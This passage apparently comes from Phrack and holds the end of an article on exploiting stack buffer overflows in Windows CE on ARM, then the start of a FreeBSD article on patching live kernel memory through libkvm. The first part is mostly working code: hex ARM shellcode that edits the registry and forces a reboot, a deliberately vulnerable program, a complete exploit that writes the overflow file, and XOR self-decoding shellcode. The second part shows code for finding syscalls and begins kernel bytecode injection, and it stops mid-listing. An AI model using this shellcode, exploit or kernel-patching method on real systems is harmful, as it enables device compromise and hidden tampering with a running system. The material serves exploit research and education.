key DCB "S", 0x0, "O", 0x0, "F", 0x0, "T", 0x0, "W", 0x0, "A", 0x0, "R", 0x0, "E", 0x0 DCB "\\", 0x0, "\\", 0x0, "W", 0x0, "i", 0x0, "d", 0x0, "c", 0x0, "o", 0x0, "m", 0x0 DCB "m", 0x0, "\\", 0x0, "\\", 0x0, "B", 0x0, "t", 0x0, "C", 0x0, "o", 0x0, "n", 0x0 DCB "f", 0x0, "i", 0x0, "g", 0x0, "\\", 0x0, "\\", 0x0, "G", 0x0, "e", 0x0, "n", 0x0 DCB "e", 0x0, "r", 0x0, "a", 0x0, "l", 0x0, 0x0, 0x0, 0x0, 0x0

val DCB "S", 0x0, "t", 0x0, "a", 0x0, "c", 0x0, "k", 0x0, "M", 0x0, "o", 0x0, "d", 0x0 DCB "e", 0x0, 0x0, 0x0

coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0 DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

ALIGN 4

LTORG

test_end

WinMainCRTStartup PROC

b test_code_start

ENDP

END

This shellcode constructs with three parts. Firstly, it calls the get_export_section function to obtain the virtual base address of coredll and its virtual relative address of export table position. The r0 and r1 stored them. Second, it calls the find_func function to obtain the API address through IMAGE_EXPORT_DIRECTORY structure and stores the API addresses to its own hash value address. The last part is the function implement of our shellcode, it changes the register key HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and then uses KernelIoControl to soft restart the system.

Windows CE.NET provides BthGetMode and BthSetMode to get and set the bluetooth state. But HP IPAQs use the Widcomm stack which has its own API, so BthSetMode can't open the bluetooth for IPAQ. Well, there is another way to open bluetooth in IPAQs(My PDA is HP1940). Just changing HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode to 1 and reset the PDA, the bluetooth will open after system restart. This method is not pretty, but it works.

Well, let's look at the get_export_section function. Why I commented off "ldr r4, =0xffffc800" instruction? We must notice ARM assembly language's LDR pseudo‑instruction. It can load a register with a 32‑bit constant value or an address. The instruction "ldr r4, =0xffffc800" will be "ldr r4, [pc, #0x108]" in EVC debugger, and the r4 register depends on the program. So the r4 register won't get the 0xffffc800 value in shellcode, and the shellcode will fail. The instruction "ldr r5, =0x324" will be "mov r5, #0xC9, 30" in EVC debugger, its ok when the shellcode is executed . The simple solution is to write the large constant value among the shellcode, and then use the ADR pseudo‑instruction to load the address of value to register and then read the memory to register.

To save size, we can use hash technology to encode the API names. Each API name will be encoded into 4 bytes. The hash technology is come from LSD's Win32 Assembly Components.

The compile method is as following:

armasm test.asm

link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj

You must install the EVC environment first. After this, we can obtain the necessary opcodes from EVC debugger or IDAPro or hex editors.

‑‑[ 8 ‑ System Call

First, let's look at the implementation of an API in coredll.dll:

.text:01F75040 EXPORT PowerOffSystem .text:01F75040 PowerOffSystem ; CODE XREF: SetSystemPowerState+58p .text:01F75040 STMFD SP!, {R4,R5,LR} .text:01F75044 LDR R5, =0xFFFFC800 .text:01F75048 LDR R4, =unk_1FC6760 .text:01F7504C LDR R0, [R5] ; UTlsPtr .text:01F75050 LDR R1, [R0,#‑0x14] ; KTHRDINFO .text:01F75054 TST R1, #1

.text:01F75058 LDRNE R0, [R4] ; 0x8004B138 ppfnMethods .text:01F7505C CMPNE R0, #0

.text:01F75060 LDRNE R1, [R0,#0x13C] ; 0x8006C92C SC_PowerOffSystem .text:01F75064 LDREQ R1, =0xF000FEC4 ; trap address of SC_PowerOffSystem .text:01F75068 MOV LR, PC

.text:01F7506C MOV PC, R1

.text:01F75070 LDR R3, [R5]

.text:01F75074 LDR R0, [R3,#‑0x14] .text:01F75078 TST R0, #1

.text:01F7507C LDRNE R0, [R4]

.text:01F75080 CMPNE R0, #0

.text:01F75084 LDRNE R0, [R0,#0x25C] ; SC_KillThreadIfNeeded .text:01F75088 MOVNE LR, PC

.text:01F7508C MOVNE PC, R0

.text:01F75090 LDMFD SP!, {R4,R5,PC} .text:01F75090 ; End of function PowerOffSystem

Debugging into this API, we found the system will check the KTHRDINFO first. This value was initialized in the MDCreateMainThread2 function of PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c:

...

if (kmode || bAllKMode) {

pTh‑>ctx.Psr = KERNEL_MODE;

KTHRDINFO (pTh) |= UTLS_INKMODE;

} else {

pTh‑>ctx.Psr = USER_MODE;

KTHRDINFO (pTh) &= ~UTLS_INKMODE;

}

...

If the application is in kernel mode, this value will be set with 1, otherwise it will be 0. All applications of Pocket PC run in kernel mode, so the system follow by "LDRNE R0, [R4]". In my environment, the R0 got 0x8004B138 which is the ppfnMethods pointer of SystemAPISets[SH_WIN32], and then it flow to "LDRNE R1, [R0,#0x13C]". Let's look the offset 0x13C (0x13C/4=0x4F) and corresponding to the index of Win32Methods defined in PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h:

const PFNVOID Win32Methods[] = {

...

(PFNVOID)SC_PowerOffSystem, // 79

...

};

Well, the R1 got the address of SC_PowerOffSystem which is implemented in kernel. The instruction "LDREQ R1, =0xF000FEC4" has no effect when the application run in kernel mode. The address 0xF000FEC4 is system call which used by user mode. Some APIs use system call directly, such as SetKMode:

.text:01F756C0 EXPORT SetKMode

.text:01F756C0 SetKMode

.text:01F756C0

.text:01F756C0 var_4 = ‑4

.text:01F756C0

.text:01F756C0 STR LR, [SP,#var_4]! .text:01F756C4 LDR R1, =0xF000FE50 .text:01F756C8 MOV LR, PC

.text:01F756CC MOV PC, R1

.text:01F756D0 LDMFD SP!, {PC}

Windows CE doesn't use ARM's SWI instruction to implement system call, it implements in different way. A system call is made to an invalid address in the range 0xf0000000 ‑ 0xf0010000, and this causes a prefetch‑abort trap, which is handled by PrefetchAbort implemented in armtrap.s. PrefetchAbort will check the invalid address first, if it is in trap area then using ObjectCall to locate the system call and executed, otherwise calling ProcessPrefAbort to deal with the exception.

There is a formula to calculate the system call address:

0xf0010000‑(256*apiset+apinr)*4

The api set handles are defined in PUBLIC\COMMON\SDK\INC\kfuncs.h and PUBLIC\COMMON\OAK\INC\psyscall.h, and the aipnrs are defined in several files, for example SH_WIN32 calls are defined in PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h.

Well, let's calculate the system call of KernelIoControl. The apiset is 0 and the apinr is 99, so the system call is 0xf0010000‑(256*0+99)*4 which is 0xF000FE74. The following is the shellcode implemented by system call:

#include "stdafx.h"

int shellcode[] =

{

0xE59F0014, // ldr r0, [pc, #20]

0xE59F4014, // ldr r4, [pc, #20]

0xE3A01000, // mov r1, #0

0xE3A02000, // mov r2, #0

0xE3A03000, // mov r3, #0

0xE1A0E00F, // mov lr, pc

0xE1A0F004, // mov pc, r4

0x0101003C, // IOCTL_HAL_REBOOT

0xF000FE74, // trap address of KernelIoControl

};

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine,

int nCmdShow)

{

((void (*)(void)) & shellcode)();

return 0;

}

It works fine and we don't need search API addresses.

‑‑[ 9 ‑ Windows CE Buffer Overflow Exploitation

The hello.cpp is the demonstration vulnerable program:

// hello.cpp

//

#include "stdafx.h"

int hello()

{

FILE * binFileH;

char binFile[] = "\\binfile";

char buf[512];

if ( (binFileH = fopen(binFile, "rb")) == NULL )

{

printf("can't open file %s!\n", binFile);

return 1;

}

memset(buf, 0, sizeof(buf));

fread(buf, sizeof(char), 1024, binFileH);

printf("%08x %d\n", &buf, strlen(buf));

getchar();

fclose(binFileH);

return 0;

}

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine,

int nCmdShow)

{

hello();

return 0;

}

The hello function has a buffer overflow problem. It reads data from the "binfile" of the root directory to stack variable "buf" by fread(). Because it reads 1KB contents, so if the "binfile" is larger than 512 bytes, the stack variable "buf" will be overflowed.

The printf and getchar are just for test. They have no effect without console.dll in windows direcotry. The console.dll file is come from Windows Mobile Developer Power Toys.

ARM assembly language uses bl instruction to call function. Let's look into the hello function:

6: int hello()

7: {

22011000 str lr, [sp, #‑4]!

22011004 sub sp, sp, #0x89, 30

8: FILE * binFileH;

9: char binFile[] = "\\binfile";

...

...

26: }

220110C4 add sp, sp, #0x89, 30

220110C8 ldmia sp!, {pc}

"str lr, [sp, #‑4]!" is the first instruction of the hello() function. It stores the lr register to stack, and the lr register contains the return address of hello caller. The second instruction prepairs stack memory for local variables. "ldmia sp!, {pc}" is the last instruction of the hello() function. It loads the return address of hello caller that stored in the stack to the pc register, and then the program will execute into WinMain function. So overwriting the lr register that is stored in the stack will obtain control when the hello function returned.

The variable's memory address that allocated by program is corresponding to the loaded Slot, both stack and heap. The process may be loaded into difference Slot at each start time. So the base address always alters. We know that the slot 0 is mapped from the current process' slot, so the base of its stack address is stable.

The following is the exploit of hello program:

/* exp.c ‑ Windows CE Buffer Overflow Demo

*

* san@xfocus.org

*/

#include<stdio.h>

#define NOP 0xE1A01001 /* mov r1, r1 */

#define LR 0x0002FC50 /* return address */

int shellcode[] =

{

0xEB000026,

0xE3A02004,

0xEB00003A,

0xE24DDF89,

0xE28D0008,

0xE58D0000,

0xE3A03002,

0xE3A02000,

0xE28F1F56,

0xE3A0010A,

0xE1A0E00F,

0xE518F00C,

0xE3A00001,

0xE58D000C,

0xE3A03004,

0xE58D3004,

0xE28D100C,

0xE58D1000,

0xE28F1F5F,

0xE59D0008,

0xE1A0E00F,

0xE518F008,

0xE59D0008,

0xE1A0E00F,

0xE518F004,

0xE28F0C01,

0xE5900000,

0xE3A01000,

0xE3A02000,

0xE3A03000,

0xE1A0E00F,

0xE518F010,

0xE0D020B2,

0xE0D130B2,

0xE3520000,

0x03530000,

0x01A0F00E,

0xE1520003,

0x0AFFFFF8,

0xE1A0F00E,

0xE1A0B00E,

0xE28F40BC,

0xE5944000,

0xE3A05FC9,

0xE0845005,

0xE5955000,

0xE1A06005,

0xE3A07000,

0xE5960008,

0xE28F1F45,

0xEBFFFFEC,

0x0596707C,

0x0596808C,

0xE0879008,

0x0A000003,

0xE5966004,

0xE3560000,

0x11560005,

0x1AFFFFF4,

0xE1A00007,

0xE0881007,

0xE1A0F00B,

0xE28F8070,

0xE5914020,

0xE0844000,

0xE3A06000,

0xE4947004,

0xE0877000,

0xE3A0A000,

0xE4D79001,

0xE3590000,

0x0A000001,

0xE089A3EA,

0xEAFFFFFA,

0xE5989000,

0xE15A0009,

0x12866001,

0x1AFFFFF3,

0xE5915024,

0xE0855000,

0xE0866006,

0xE19590B6,

0xE591501C,

0xE0855000,

0xE7959109,

0xE0899000,

0xE4889004,

0xE2522001,

0x1AFFFFE5,

0xE1A0F00E,

0xFFFFC800,

0x0101003C,

0x283A9DE7,

0x0BF7DF51,

0xD8C0FEC0,

0x0E511783,

0x004F0053,

0x00540046,

0x00410057,

0x00450052,

0x005C005C,

0x00690057,

0x00630064,

0x006D006F,

0x005C006D,

0x0042005C,

0x00430074,

0x006E006F,

0x00690066,

0x005C0067,

0x0047005C,

0x006E0065,

0x00720065,

0x006C0061,

0x00000000,

0x00740053,

0x00630061,

0x004D006B,

0x0064006F,

0x00000065,

0x006F0063,

0x00650072,

0x006C0064,

0x002E006C,

0x006C0064,

0x0000006C,

};

/* prints a long to a string */

char* put_long(char* ptr, long value)

{

*ptr++ = (char) (value >> 0) & 0xff;

*ptr++ = (char) (value >> 8) & 0xff;

*ptr++ = (char) (value >> 16) & 0xff;

*ptr++ = (char) (value >> 24) & 0xff;

return ptr;

}

int main()

{

FILE * binFileH;

char binFile[] = "binfile";

char buf[544];

char *ptr;

int i;

if ( (binFileH = fopen(binFile, "wb")) == NULL )

{

printf("can't create file %s!\n", binFile);

return 1;

}

memset(buf, 0, sizeof(buf)‑1);

ptr = buf;

for (i = 0; i < 4; i++) {

ptr = put_long(ptr, NOP);

}

memcpy(buf+16, shellcode, sizeof(shellcode)); put_long(ptr‑16+540, LR);

fwrite(buf, sizeof(char), 544, binFileH); fclose(binFileH);

}

We choose a stack address of slot 0, and it points to our shellcode. It will overwrite the return address that stored in the stack. We can also use a jump address of virtual memory space of the process instead of. This exploit produces a "binfile" that will overflow the "buf" variable and the return address that stored in the stack.

After the binfile copied to the PDA, the PDA restarts and open the bluetooth when the hello program is executed. That's means the hello program flowed to our shellcode.

While I changed another method to construct the exploit string, its as following:

pad...pad|return address|nop...nop...shellcode

And the exploit produces a 1KB "binfile". But the PDA is freeze when the hello program is executed. It was confused, I think maybe the stack of Windows CE is small and the overflow string destroyed the 2KB guard on the top of stack. It is freeze when the program call a API after overflow occurred. So, we must notice the features of stack while writing exploit for Windows CE.

EVC has some bugs that make debug difficult. First, EVC will write some arbitrary data to the stack contents when the stack releases at the end of function, so the shellcode maybe modified. Second, the instruction at breakpoint maybe change to 0xE6000010 in EVC while debugging. Another bug is funny, the debugger without error while writing data to a .text address by step execute, but it will capture a access violate exception by execute directly.

‑‑[ 10 ‑ About Decoding Shellcode

The shellcode we talked above is a concept shellcode which contains lots of zeros. It executed correctly in this demonstrate program, but some other vulnerable programs maybe filter the special characters before buffer overflow in some situations. For example overflowed by strcpy, the shellcode will be cut by the zero.

It is difficult and inconvenient to write a shellcode without special characters by API search method. So we think about the decoding shellcode. Decoding shellcode will convert the special characters to fit characters and make the real shellcode more universal.

The newer ARM processor(such as arm9 and arm10) has a Harvard architecture which separates instruction cache and data cache. This feature will improve the performance of processor, and most of RISC processors have this feature. But the self‑modifying code is not easy to implement, because it will puzzled by the caches and the processor implementation after being modified.

Let's look at the following code first:

#include "stdafx.h"

int weird[] =

{

0xE3A01099, // mov r1, #0x99

0xE5CF1020, // strb r1, [pc, #0x20]

0xE5CF1020, // strb r1, [pc, #0x20]

0xE5CF1020, // strb r1, [pc, #0x20]

0xE5CF1020, // strb r1, [pc, #0x20]

0xE1A01001, // mov r1, r1 ; pad

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE3A04001, // mov r4, #0x1

0xE3A03001, // mov r3, #0x1

0xE3A02001, // mov r2, #0x1

0xE3A01001, // mov r1, #0x1

0xE6000010, // breakpoint

};

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine,

int nCmdShow)

{

((void (*)(void)) & weird)();

return 0;

}

That four strb instructions will change the immediate value of the below mov instructions to 0x99. It will break at that inserted breakpoint while executing this code in EVC debugger directly. The r1‑r4 registers got 0x99 in S3C2410 which is a arm9 core processor. It needs more nop instructions to pad after modified to let the r1‑r4 got 0x99 while I tested this code in my friend's PDA which has a Intel Xscale processor. I think the reason maybe is that the arm9 has 5 pipelines and the arm10 has 6 pipelines. Well , I changed it to another method:

0xE28F3053, // add r3, pc, #0x53

0xE3A01010, // mov r1, #0x10

0xE7D32001, // ldrb r2, [r3, +r1]

0xE2222088, // eor r2, r2, #0x88

0xE7C32001, // strb r2, [r3, +r1]

0xE2511001, // subs r1, r1, #1

0x1AFFFFFA, // bne 28011008

//0xE1A0100F, // mov r1, pc

//0xE3A02020, // mov r2, #0x20

//0xE3A03D05, // mov r3, #5, 26

//0xEE071F3A, // mcr p15, 0, r1, c7, c10, 1 ; clean and invalidate each entry

//0xE0811002, // add r1, r1, r2

//0xE0533002, // subs r3, r3, r2

//0xCAFFFFFB, // bgt |weird+28h (30013058)|

//0xE0211001, // eor r1, r1, r1

//0xEE071F9A, // mcr p15, 0, r1, c7, c10, 4 ; drain write buffer

//0xEE071F15, // mcr p15, 0, r1, c7, c5, 0 ; flush the icache

0xE1A01001, // mov r1, r1 ; pad

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0xE1A01001,

0x6B28C889, // mov r4, #0x1 ; encoded

0x6B28B889, // mov r3, #0x1

0x6B28A889, // mov r2, #0x1

0x6B289889, // mov r1, #0x1

0xE6000010, // breakpoint

The four mov instructions were encoded by Exclusive‑OR with 0x88, the decoder has a loop to load a encoded byte and Exclusive‑OR it with 0x88 and then stored it to the original position. The r1‑r4 registers won't get 0x1 even you put a lot of pad instructions after decoded in both arm9 and arm10 processors. I think maybe that the load instruction bring on a cache problem.

ARM Architecture Reference Manual has a chapter to introduce how to deal with self‑modifying code. It says the caches will be flushed by an operating system call. Phil, the guy from 0dd shared his experience to me. He said he's used this method successful on ARM system(I think his environment maybe is Linux). Well, this method is successful on AIX PowerPC and Solaris SPARC too(I've tested it). But SWI implements in a different way under Windows CE. The armtrap.s contains implementation of SWIHandler which does nothing except 'movs pc,lr'. So it has no effect after decode finished.

Because Pocket PC's applications run in kernel mode, so we have privilege to access the system control coprocessor. ARM Architecture Reference Manual introduces memory system and how to handle cache via the system control coprocessor. After looked into this manual, I tried to disable the instruction cache before decode:

mrc p15, 0, r1, c1, c0, 0

bic r1, r1, #0x1000

mcr p15, 0, r1, c1, c0, 0

But the system freezed when the mcr instruction executed. Then I tried to invalidate entire instruction cache after decoded:

eor r1, r1, r1

mcr p15, 0, r1, c7, c5, 0

But it has no effect too.

‑‑[ 11 ‑ Conclusion

The codes talked above are the real‑life buffer overflow example on Windows CE. It is not perfect, but I think this technology will be improved in the future.

Because of the cache mechanism, the decoding shellcode is not good enough.

Internet and handset devices are growing quickly, so threats to the PDAs and mobiles become more and more serious. And the patch of Windows CE is more difficult and dangerous than the normal Windows system to customers. Because the entire Windows CE system is stored in the ROM, if you want to patch the system flaws, you must flush the ROM, And the ROM images of various vendors or modes of PDAs and mobiles aren't compatible.

‑‑[ 12 ‑ Greetings

Special greets to the dudes of XFocus Team, my girlfriend, the life will fade without you.

Special thanks to the Research Department of NSFocus Corporation, I love this team.

And I'll show my appreciation to 0dd members, Nasiry and Flier too, the discussions with them were nice.

‑‑[ 13 ‑ References

[1] ARM Architecture Reference Manual

http://www.arm.com

[2] Windows CE 4.2 Source Code http://msdn.microsoft.com/embedded/windowsce/default.aspx

[3] Details Emerge on the First Windows Mobile Virus

‑ Cyrus Peikari, Seth Fogie, Ratter/29A http://www.informit.com/articles/article.asp?p=337071

[4] Pocket PC Abuse ‑ Seth Fogie http://www.blackhat.com/presentations/bh‑usa‑04/bh‑us‑04‑fogie/bh‑us‑04‑fogie‑up.pdf

[5] misc notes on the xda and windows ce http://www.xs4all.nl/~itsme/projects/xda/

[6] Introduction to Windows CE http://www.cs‑ipv6.lancs.ac.uk/acsp/WinCE/Slides/

[7] Nasiry 's way

http://www.cnblogs.com/nasiry/

[8] Programming Windows CE Second Edition ‑ Doug Boling

[9] Win32 Assembly Components

http://LSD‑PL.NET

Games with kernel Memory...FreeBSD Style

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x07 of 0x14

|=‑‑‑‑‑‑‑=[ Playing Games With Kernel Memory ... FreeBSD Style ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Joseph Kong <jkong01@gmail.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ July 8, 2005 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1.0 ‑ Introduction

2.0 ‑ Finding System Calls

3.0 ‑ Understanding Call Statements And Bytecode Injection

4.0 ‑ Allocating Kernel Memory

5.0 ‑ Putting It All Together

6.0 ‑ Concluding Remarks

7.0 ‑ References

‑‑[ 1.0 ‑ Introduction

The kernel memory interface or kvm interface was first introduced in SunOS. Although it has been around for quite some time, many people still consider it to be rather obscure. This article documents the basic usage of the Kernel Data Access Library (libkvm), and will explore some ways to use libkvm (/dev/kmem) in order to alter the behavior of a running FreeBSD system.

FreeBSD kernel hacking skills of a moderate level (i.e. you know how to use ddb), as well as a decent understanding of C and x86 Assembly (AT&T Syntax) are required in order to understand the contents of this article.

This article was written from the perspective of a FreeBSD 5.4 Stable System.

Note: Although the techniques described in this article have been explored in other articles (see References), they are always from a Linux or Windows perspective. I personally only know of one other text that touches on the information contained herein. That text entitled "Fun and Games with FreeBSD Kernel Modules" by Stephanie Wehner explained some of the things one can do with libkvm. Considering the fact that one can do much more, and that documentation regarding libkvm is scarce (man pages and source code aside), I decided to write this article.

‑‑[ 2.0 ‑ Finding System Calls

Note: This section is extremely basic, if you have a good grasp of the libkvm functions read the next paragraph and skip to the next section.

Stephanie Wehner wrote a program called checkcall, which would check if sysent[CALL] had been tampered with, and if so would change it back to the original function. In order to help with the debugging during the latter sections of this article, we are going to make use of checkcall's find system call functionality. Following is a stripped down version of checkcall, with just the find system call function. It is also a good example to learn the basics of libkvm from. A line by line explanation of the libkvm functions appears after the source code listing.

find_syscall.c:

/*

* Takes two arguments: the name of a syscall and corresponding number, * and reports the location in memory where the syscall is located. *

* If you enter the name of a syscall with an incorrect syscall number, * the output will be fubar. Too lazy to implement a check

*

* Based off of Stephanie Wehner's checkcall.c,v 1.1.1.1

*

* find_syscall.c,v 1.0 2005/05/20

*/

#include <stdio.h>

#include <fcntl.h>

#include <kvm.h>

#include <nlist.h>

#include <limits.h>

#include <sys/types.h>

#include <sys/sysent.h>

#include <sys/syscall.h>

int main(int argc, char *argv[]) {

char errbuf[_POSIX2_LINE_MAX];

kvm_t *kd;

u_int32_t addr;

int callnum;

struct sysent call;

struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };

/* Check for the correct number of arguments */

if(argc != 3) {

printf("Usage:\n%s <name of system call> <syscall number>" " \n\n", argv[0]);

printf("See /usr/src/sys/sys/syscall.h for syscall numbers" " \n");

exit(0);

}

/* Find the syscall */

nl[0].n_name = "sysent";

nl[1].n_name = argv[1];

callnum = atoi(argv[2]);

printf("Finding syscall %d: %s\n\n", callnum, argv[1]);

/* Initialize kernel virtual memory access */

kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);

if(kd == NULL) {

fprintf(stderr, "ERROR: %s\n", errbuf);

exit(‑1);

}

/* Find the addresses */

if(kvm_nlist(kd, nl) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

if(!nl[0].n_value) {

fprintf(stderr, "ERROR: %s not found (fubar?)\n"

, nl[0].n_name);

exit(‑1);

}

else {

printf("%s is 0x%x at 0x%x\n", nl[0].n_name, nl[0].n_type , nl[0].n_value);

}

if(!nl[1].n_value) {

fprintf(stderr, "ERROR: %s not found\n", nl[1].n_name); exit(‑1);

}

/* Calculate the address */

addr = nl[0].n_value + callnum * sizeof(struct sysent);

/* Print out location */

if(kvm_read(kd, addr, &call, sizeof(struct sysent)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

else {

printf("sysent[%d] is at 0x%x and will execute function" " located at 0x%x\n", callnum, addr, call.sy_call); }

if(kvm_close(kd) < 0) {

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

exit(‑1);

}

exit(0);

}

There are five functions from libkvm that are included in the above program; they are:

kvm_openfiles

kvm_nlist

kvm_geterr

kvm_read

kvm_close

kvm_openfiles:

Basically kvm_openfiles initializes kernel virtual memory access, and returns a descriptor to be used in subsequent kvm library calls. In find_syscall the syntax was as follows:

kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);

kd is used to store the returned descriptor, if after the call kd equals NULL then an error has occurred.

The first three arguments correspond to const char *execfile, const char *corefile, and const char *swapfiles respectively. However for our purposes they are unnecessary, hence NULL. The fourth argument indicates that we want read/write access. The fifth argument indicates which buffer to place any error messages, more on that later.

kvm_nlist:

The man page states that kvm_nlist retrieves the symbol table entries indicated by the name list argument (struct nlist). The members of struct nlist that interest us are as follows:

char *n_name;/* symbol name (in memory) */

unsigned long n_value;/* address of the symbol */

Prior to calling kvm_nlist in find_syscall a struct nlist array was setup as follows:

struct nlist nl[] = { { NULL }, { NULL }, { NULL }, }; nl[0].n_name = "sysent";

nl[1].n_name = argv[1];

The syntax for calling kvm_nlist is as follows:

kvm_nlist(kd, nl)

What this did was fill out the n_value member of each element in the array nl with the starting address in memory corresponding to the value in n_name. In other words we now know the location in memory of sysent and the user supplied syscall (argv[1]). nl was initialized with three elements because kvm_nlist expects as its second argument a NULL terminated array of nlist structures.

kvm_geterr:

As stated in the man page this function returns a string describing the most recent error condition. If you look through the above source code listing you will see kvm_geterr gets called after every libkvm function, except kvm_openfiles. kvm_openfiles uses its own unique form of error reporting, because kvm_geterr requires a descriptor as an argument, which would not exist if kvm_openfiles has not been called yet. An example usage of kvm_geterr follows:

fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));

kvm_read:

This function is used to read kernel virtual memory. In find_syscall the syntax was as follows:

kvm_read(kd, addr, &call, sizeof(struct sysent))

The first argument is the descriptor. The second is the address to begin reading from. The third argument is the user‑space location to store the data read. The fourth argument is the number of bytes to read.

kvm_close:

This function breaks the connection between the pointer and the kernel virtual memory established with kvm_openfiles. In find_syscall this function was called as follows:

kvm_close(kd)

The following is an algorithmic explanation of find_syscall.c:

1. Check to make sure the user has supplied a syscall name and number. (No error checking, just checks for two arguments) 2. Setup the array of nlist structures appropriately.

3. Initialize kernel virtual memory access. (kvm_openfiles) 4. Find the address of sysent and the user supplied syscall. (kvm_nlist)

5. Calculate the location of the syscall in sysent.

6. Copy the syscall's sysent structure from kernel‑space to user‑space. (kvm_read)

7. Print out the location of the syscall in the sysent structure and the location of the executed function.

8. Close the descriptor (kvm_close)

In order to verify that the output of find_syscall is accurate, one can make use of ddb as follows:

Note: The output below was modified in order to meet the 75 character per line requirement.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ghost@slavetwo:~#ls

find_syscall.c

ghost@slavetwo:~#gcc ‑o find_syscall find_syscall.c ‑lkvm ghost@slavetwo:~#ls

find_syscall find_syscall.c

ghost@slavetwo:~#sudo ./find_syscall

Password:

Usage:

./find_syscall <name of system call> <syscall number>

See /usr/src/sys/sys/syscall.h for syscall numbers ghost@slavetwo:~#sudo ./find_syscall mkdir 136

Finding syscall 136: mkdir

sysent is 0x4 at 0xc06dc840

sysent[136] is at 0xc06dcc80 and will execute function located at 0xc0541900

ghost@slavetwo:~#KDB: enter: manual escape to debugger

[thread pid 12 tid 100004 ]

Stopped at kdb_enter+0x32: leave

db> examine/i 0xc0541900

mkdir: pushl %ebp

db>

mkdir+0x1: movl %esp,%ebp

db> c

ghost@slavetwo:~#

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 3.0 ‑ Understanding Call Statements And Bytecode Injection

In x86 Assembly a Call statement is a control transfer instruction, used to call a procedure. There are two types of Call statements Near and Far, for the purposes of this article one only needs to understand a Near Call. The following code illustrates the details of a Near Call statement (in Intel Syntax):

0200BB1295MOV BX,9512

0203E8FA00CALL 0300

0206B82F14MOV AX,142F

In the above code snippet, when the IP (Instruction Pointer) gets to 0203 it will jump to 0300. The hexadecimal representation for CALL is E8, however FA00 is not 0300. 0x300 ‑ 0x206 = 0xFA. In a near call the IP address of the instruction after the Call is saved on the stack, so the called procedure knows where to return to. This explains why the operand for Call in this example is 0xFA00 and not 0x300. This is an important point and will come into play later.

One of the more entertaining things one can do with the libkvm functions is patch kernel virtual memory. As always we start with a very simple example ... Hello World! The following is a kld which adds a syscall that functions as a Hello World! program.

hello.c:

/*

* Prints "FreeBSD Rox!" 10 times

*

*/

#include <sys/types.h>

#include <sys/param.h>

#include <sys/proc.h>

#include <sys/module.h>

#include <sys/sysent.h>

#include <sys/kernel.h>

#include <sys/systm.h>

/*

* The function for implementing the syscall.

*/

static int

hello (struct thread *td, void *arg)

{

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

printf ("FreeBSD Rox!\n");

return 0;

}

/*

* The `sysent' for the new syscall

*/

static struct sysent hello_sysent = {

0,/* sy_narg */

hello/* sy_call */

};

/*

* The offset in sysent where the syscall is allocated.

*/

static int offset = 210;

/*

* The function called at load/unload.

*/

static int

load (struct module *module, int cmd, void *arg)

{

int error = 0;

switch (cmd) {

case MOD_LOAD :

printf ("syscall loaded at %d\n", offset);

break;

case MOD_UNLOAD :

printf ("syscall unloaded from %d\n", offset);

break;

default :

error = EOPNOTSUPP;

break;

}

return error;

}

SYSCALL_MODULE(hello, &offset, &hello_sysent, load, NULL);

The following is the user‑space program for the above kld:

interface.c:

#include <stdio.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/module.h>

int main(int argc, char **argv) {

return syscall(210);

}

If we compile the above kld using a standard Makefile, load it, and then run the user‑space program, we get some very annoying output. In order to make this syscall less annoying we can use the following program. As before an explanation of any new functions and concepts appears after the source code listing.

test_call.c:

/*

* Test understanding of call statement:

* Operand for call statement is the difference between the called function * and the address of the instruction following the call statement. *

* Tested on syscall hello. Normally prints out "FreeBSD Rox!" 10 times, * after patching only prints it out once.

*

* test_call.c,v 2.1 2005/06/15

*/

#include <stdio.h>

#include <fcntl.h>

#include <kvm.h>

#include <nlist.h>

